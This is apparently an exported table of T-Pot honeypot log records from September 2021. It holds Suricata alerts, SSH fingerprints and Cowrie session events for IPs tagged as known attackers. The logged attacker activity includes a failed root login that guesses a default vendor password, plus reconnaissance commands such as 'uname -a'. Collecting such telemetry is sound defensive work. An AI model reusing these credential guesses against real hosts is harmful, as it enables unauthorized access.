36666	172.217.17.196	109.199.241.180	Suricata	2021-09-20 15:16:59.045598+03	2021-09-20 15:30:02.575867+03	{"_id": "swYjA3wBvYTbRNuEU2Qu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:59.045598+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.17.196", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.17.196", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 1516166333575710, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52278, "timestamp": "2021-09-20T12:16:59.045598Z", "@timestamp": "2021-09-20T12:16:59.045Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36667	178.128.198.1	109.199.241.180	Fatt	2021-09-20 15:16:58.920915+03	2021-09-20 15:30:02.577867+03	{"_id": "tAYjA3wBvYTbRNuEVGQx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "178.128.198.1", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "98ddc5604ef6a1006a2b49a58759fbe6", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 56004, "dest_port": 22, "timestamp": "2021-09-20T12:16:58.920915", "@timestamp": "2021-09-20T12:16:58.920Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	DE
36668	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:58.879286+03	2021-09-20 15:30:02.578869+03	{"_id": "wAYjA3wBvYTbRNuEVGR7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2329, "timestamp": "2021-09-20T12:16:58.879286", "@timestamp": "2021-09-20T12:16:58.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36669	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:16:58.878794+03	2021-09-20 15:30:02.580868+03	{"_id": "wgYjA3wBvYTbRNuEVmQT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "273c1e7e233e", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:16:58.878794Z", "@timestamp": "2021-09-20T12:16:58.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36670	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:59.792466+03	2021-09-20 15:30:02.581868+03	{"_id": "xQYjA3wBvYTbRNuEVmQT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:59.792466Z", "@timestamp": "2021-09-20T12:16:59.792Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36671	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:59.793+03	2021-09-20 15:30:02.582867+03	{"_id": "yAYjA3wBvYTbRNuEVmQT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:59.793000Z", "@timestamp": "2021-09-20T12:16:59.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36672	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 15:16:59.048314+03	2021-09-20 15:30:02.583867+03	{"_id": "xwYjA3wBvYTbRNuEVmQT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.login.failed", "message": "login attempt [root/Huawei] failed", "session": "e9bb7de475eb", "@version": "1", "password": "Huawei", "username": "root", "timestamp": "2021-09-20T12:16:59.048314Z", "@timestamp": "2021-09-20T12:16:59.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	DE
36673	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:00.346597+03	2021-09-20 15:30:02.585867+03	{"_id": "1QYjA3wBvYTbRNuEWWT7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "81.71.14.9", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5542185306549072, "duplicate": true, "timestamp": "2021-09-20T12:17:00.346597Z", "@timestamp": "2021-09-20T12:17:00.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36674	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:00.708029+03	2021-09-20 15:30:02.586869+03	{"_id": "1AYjA3wBvYTbRNuEWWT7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:00.708029Z", "@timestamp": "2021-09-20T12:17:00.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36675	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:01.645418+03	2021-09-20 15:30:02.588867+03	{"_id": "2AYjA3wBvYTbRNuEXWTk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:01.645418Z", "@timestamp": "2021-09-20T12:17:01.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36676	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:56.019022+03	2021-09-20 15:30:02.589867+03	{"_id": "nwYjA3wBvYTbRNuESmRX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:56.019022Z", "@timestamp": "2021-09-20T12:16:56.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36677	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:56.572298+03	2021-09-20 15:30:02.59187+03	{"_id": "oAYjA3wBvYTbRNuESmRX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "81.71.14.9", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5533585548400879, "duplicate": true, "timestamp": "2021-09-20T12:16:56.572298Z", "@timestamp": "2021-09-20T12:16:56.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36678	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:16:56.787195+03	2021-09-20 15:30:02.592868+03	{"_id": "ogYjA3wBvYTbRNuESmRX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "fd4f8bfcc9ba", "@version": "1", "timestamp": "2021-09-20T12:16:56.787195Z", "@timestamp": "2021-09-20T12:16:56.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36679	36.27.214.211	109.199.241.180	Suricata	2021-09-20 15:16:56.786596+03	2021-09-20 15:30:02.594868+03	{"_id": "pwYjA3wBvYTbRNuES2Re", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:16:56.200290+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2121013692730978, "payload": "AAADzAYUYy2BDB1NdtnG600vt1f/BAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55114, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:16:56.786596Z", "@timestamp": "2021-09-20T12:16:56.786Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......c-...Mv...M/.W.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36686	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:55.625585+03	2021-09-20 15:30:02.604869+03	{"_id": "lwYjA3wBvYTbRNuERmRv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "81.71.14.9", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5550751686096191, "duplicate": true, "timestamp": "2021-09-20T12:16:55.625585Z", "@timestamp": "2021-09-20T12:16:55.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36680	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:56.496546+03	2021-09-20 15:30:02.595868+03	{"_id": "qAYjA3wBvYTbRNuETGRf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55114, "timestamp": "2021-09-20T12:16:56.496546", "@timestamp": "2021-09-20T12:16:56.496Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 